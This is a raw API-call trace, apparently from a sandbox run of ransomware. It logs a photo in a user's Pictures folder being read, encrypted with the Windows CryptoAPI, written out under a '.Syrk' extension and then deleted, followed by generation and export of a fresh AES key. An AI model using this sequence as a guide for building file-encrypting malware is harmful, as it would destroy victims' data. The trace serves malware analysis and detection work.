lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0245.452] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg.Syrk", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg.Syrk", lpFilePart=0x0) returned 0x2b [0245.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0245.452] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\-yqu7r.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0245.455] GetFileType (hFile=0x454) returned 0x1 [0245.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0245.455] GetFileType (hFile=0x454) returned 0x1 [0245.455] EtwEventActivityIdControl () returned 0x0 [0245.455] CryptGenRandom (in: hProv=0x5c4d320, dwLen=0x10, pbBuffer=0x243f750 | out: pbBuffer=0x243f750) returned 1 [0245.456] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.456] CryptDuplicateKey (in: hKey=0x5c995a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99520) returned 1 [0245.456] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.457] CryptSetKeyParam (hKey=0x5c99520, dwParam=0x4, pbData=0x2440a88*=0x1, dwFlags=0x0) returned 1 [0245.457] CryptSetKeyParam (hKey=0x5c99520, dwParam=0x1, pbData=0x2440a54, dwFlags=0x0) returned 1 [0245.457] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.457] EtwEventActivityIdControl () returned 0x0 [0245.457] EtwEventActivityIdControl () returned 0x0 [0245.457] EtwEventActivityIdControl () returned 0x0 [0245.458] EtwEventActivityIdControl () returned 0x0 [0245.458] ReadFile (in: hFile=0x3c4, lpBuffer=0x24436c4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24436c4*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0245.461] CryptEncrypt (in: hKey=0x5c99520, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24576dc*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x24576dc*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0245.462] WriteFile (in: hFile=0x454, lpBuffer=0x243f838*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x243f838*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0245.463] WriteFile (in: hFile=0x454, lpBuffer=0x24586c8*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24586c8*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0245.464] ReadFile (in: hFile=0x3c4, lpBuffer=0x24436c4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24436c4*, lpNumberOfBytesRead=0x5a2e7d8*=0x4344, lpOverlapped=0x0) returned 1 [0245.465] CryptEncrypt (in: hKey=0x5c99520, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x246b6f4*, pdwDataLen=0x5a2e7cc*=0x4340, dwBufLen=0x4340 | out: pbData=0x246b6f4*, pdwDataLen=0x5a2e7cc*=0x4340) returned 1 [0245.465] WriteFile (in: hFile=0x454, lpBuffer=0x246b6f4*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x246b6f4*, lpNumberOfBytesWritten=0x5a2e7b0*=0x4340, lpOverlapped=0x0) returned 1 [0245.466] ReadFile (in: hFile=0x3c4, lpBuffer=0x24436c4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24436c4*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0245.466] CryptEncrypt (in: hKey=0x5c99520, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x246fa40*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x246fa40*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0245.466] CryptEncrypt (in: hKey=0x5c99520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x246fa5c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x246fa5c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0245.466] WriteFile (in: hFile=0x454, lpBuffer=0x243f838*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x243f838*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0245.466] CloseHandle (hObject=0x454) returned 1 [0245.469] CloseHandle (hObject=0x3c4) returned 1 [0245.469] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.470] EtwEventActivityIdControl () returned 0x0 [0245.470] EtwEventActivityIdControl () returned 0x0 [0245.470] EtwEventActivityIdControl () returned 0x0 [0245.474] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\-yqu7r.jpg")) returned 0x20 [0245.477] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0245.477] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", lpFilePart=0x0) returned 0x26 [0245.477] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0245.477] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0245.477] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0245.477] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0245.477] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0245.478] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0245.478] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0245.478] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0245.478] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0245.478] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0245.478] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0245.478] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0245.478] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0245.478] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0245.478] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0245.478] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0245.479] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\-yqu7r.jpg")) returned 0x20 [0245.479] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0245.479] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", lpFilePart=0x0) returned 0x26 [0245.481] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0245.482] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", lpFilePart=0x0) returned 0x26 [0245.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0245.482] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0245.482] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", lpFilePart=0x0) returned 0x26 [0245.482] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\-yqu7r.jpg\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0245.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0245.482] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0245.482] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0245.482] CoTaskMemFree (pv=0x5c98368) [0245.484] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\-yqu7r.jpg")) returned 0x20 [0245.484] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0245.485] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", lpFilePart=0x0) returned 0x26 [0245.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0245.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\-yqu7r.jpg"), fInfoLevelId=0x0, lpFileInformation=0x247a470 | out: lpFileInformation=0x247a470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310acab0, ftCreationTime.dwHighDateTime=0x1d9929a, ftLastAccessTime.dwLowDateTime=0xcae9ac10, ftLastAccessTime.dwHighDateTime=0x1d99b54, ftLastWriteTime.dwLowDateTime=0xcae9ac10, ftLastWriteTime.dwHighDateTime=0x1d99b54, nFileSizeHigh=0x0, nFileSizeLow=0x18344)) returned 1 [0245.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0245.485] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\-yqu7r.jpg")) returned 1 [0245.489] EtwEventActivityIdControl () returned 0x0 [0245.490] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.490] EtwEventActivityIdControl () returned 0x0 [0245.490] EtwEventActivityIdControl () returned 0x0 [0245.490] EtwEventActivityIdControl () returned 0x0 [0245.497] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\-yqu7r.jpg.syrk")) returned 0x20 [0245.498] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\-yqu7r.jpg.syrk")) returned 0x20 [0245.499] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0245.499] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg.Syrk", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg.Syrk", lpFilePart=0x0) returned 0x2b [0245.499] EtwEventActivityIdControl () returned 0x0 [0245.499] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.500] EtwEventActivityIdControl () returned 0x0 [0245.500] EtwEventActivityIdControl () returned 0x0 [0245.500] EtwEventActivityIdControl () returned 0x0 [0245.508] EtwEventActivityIdControl () returned 0x0 [0245.509] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.509] EtwEventActivityIdControl () returned 0x0 [0245.509] EtwEventActivityIdControl () returned 0x0 [0245.509] EtwEventActivityIdControl () returned 0x0 [0245.513] EtwEventActivityIdControl () returned 0x0 [0245.513] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.514] EtwEventActivityIdControl () returned 0x0 [0245.514] EtwEventActivityIdControl () returned 0x0 [0245.514] EtwEventActivityIdControl () returned 0x0 [0245.517] EtwEventActivityIdControl () returned 0x0 [0245.518] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.518] EtwEventActivityIdControl () returned 0x0 [0245.518] EtwEventActivityIdControl () returned 0x0 [0245.518] EtwEventActivityIdControl () returned 0x0 [0245.522] EtwEventActivityIdControl () returned 0x0 [0245.522] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.522] EtwEventActivityIdControl () returned 0x0 [0245.522] EtwEventActivityIdControl () returned 0x0 [0245.522] EtwEventActivityIdControl () returned 0x0 [0245.526] EtwEventActivityIdControl () returned 0x0 [0245.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0245.530] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\-yqu7r.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24835a8 | out: lpFileInformation=0x24835a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe01cd90, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xe01cd90, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xe042ef0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x18364)) returned 1 [0245.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0245.531] GetConsoleOutputCP () returned 0x1b5 [0245.531] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.531] GetConsoleOutputCP () returned 0x1b5 [0245.531] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.531] GetConsoleOutputCP () returned 0x1b5 [0245.532] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.532] GetConsoleOutputCP () returned 0x1b5 [0245.532] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.532] GetConsoleOutputCP () returned 0x1b5 [0245.532] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.532] GetConsoleOutputCP () returned 0x1b5 [0245.532] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.532] GetConsoleOutputCP () returned 0x1b5 [0245.532] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.533] GetConsoleOutputCP () returned 0x1b5 [0245.533] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.533] GetConsoleOutputCP () returned 0x1b5 [0245.533] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.533] GetConsoleOutputCP () returned 0x1b5 [0245.533] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.533] GetConsoleOutputCP () returned 0x1b5 [0245.534] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.534] GetConsoleOutputCP () returned 0x1b5 [0245.534] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.534] GetConsoleOutputCP () returned 0x1b5 [0245.534] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.534] GetConsoleOutputCP () returned 0x1b5 [0245.534] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.534] GetConsoleOutputCP () returned 0x1b5 [0245.535] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.535] GetConsoleOutputCP () returned 0x1b5 [0245.535] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.535] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0245.535] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0245.535] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x249d16c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x249d16c*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0245.536] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0245.536] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0245.537] EtwEventActivityIdControl () returned 0x0 [0245.537] EtwEventActivityIdControl () returned 0x0 [0245.538] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.538] EtwEventActivityIdControl () returned 0x0 [0245.538] EtwEventActivityIdControl () returned 0x0 [0245.538] EtwEventActivityIdControl () returned 0x0 [0245.540] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.540] EtwEventActivityIdControl () returned 0x0 [0245.540] EtwEventActivityIdControl () returned 0x0 [0245.540] EtwEventActivityIdControl () returned 0x0 [0245.543] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cee0) returned 1 [0245.544] CryptGenKey (in: hProv=0x5c4cee0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c995e0) returned 1 [0245.544] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.544] CryptExportKey (in: hKey=0x5c995e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0245.544] CryptExportKey (in: hKey=0x5c995e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24a4b44, pdwDataLen=0x5a2e8c4 | out: pbData=0x24a4b44*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0245.544] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.545] EtwEventActivityIdControl () returned 0x0 [0245.545] EtwEventActivityIdControl () returned 0x0 [0245.545] EtwEventActivityIdControl () returned 0x0 [0245.546] SysStringLen (param_1="") returned 0x8 [0245.546] SysStringLen (param_1="K") returned 0x8 [0245.546] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.546] SysStringLen (param_1="뮪㷷\都慘㿏홷∃) returned 0x8 [0245.546] SysStringLen (param_1="뮪㷷\都慘㿏홷∃) returned 0x8 [0245.546] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.547] SysStringLen (param_1="Ky") returned 0x8 [0245.547] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.547] SysStringLen (param_1="棏೽菲컵⫀鈇汜") returned 0x8 [0245.547] SysStringLen (param_1="棏೽菲컵⫀鈇汜") returned 0x8 [0245.547] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.547] SysStringLen (param_1="Kyj") returned 0x8 [0245.547] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.547] SysStringLen (param_1="룕雿戉鑂嫛៾諳") returned 0x8 [0245.547] SysStringLen (param_1="룕雿戉鑂嫛៾諳") returned 0x8 [0245.547] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.547] SysStringLen (param_1="Kyjd") returned 0x8 [0245.547] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.548] SysStringLen (param_1="⏷쐾繋⯅鸲㹂㦀㐝") returned 0x8 [0245.548] SysStringLen (param_1="⏷쐾繋⯅鸲㹂㦀㐝") returned 0x8 [0245.548] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.548] SysStringLen (param_1="Kyjdz") returned 0x8 [0245.548] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.548] SysStringLen (param_1="㸿\ꟛ磯墣ャ뚟∽) returned 0x8 [0245.548] SysStringLen (param_1="㸿\ꟛ磯墣ャ뚟∽) returned 0x8 [0245.548] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.548] SysStringLen (param_1="Kyjdz6") returned 0x8 [0245.548] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.548] SysStringLen (param_1="䝀熥嵐鲌潞웲皆") returned 0x8 [0245.548] SysStringLen (param_1="䝀熥嵐鲌潞웲皆") returned 0x8 [0245.548] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.549] SysStringLen (param_1="Kyjdz6e") returned 0x8 [0245.549] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.549] SysStringLen (param_1="㮽죂ᦡ紵サᑃ") returned 0x8 [0245.549] SysStringLen (param_1="㮽죂ᦡ紵サᑃ") returned 0x8 [0245.549] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.549] SysStringLen (param_1="Kyjdz6eS") returned 0x8 [0245.549] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.549] SysStringLen (param_1="뙭堦謙㯩鋌輸臧") returned 0x8 [0245.549] SysStringLen (param_1="뙭堦謙㯩鋌輸臧") returned 0x8 [0245.550] 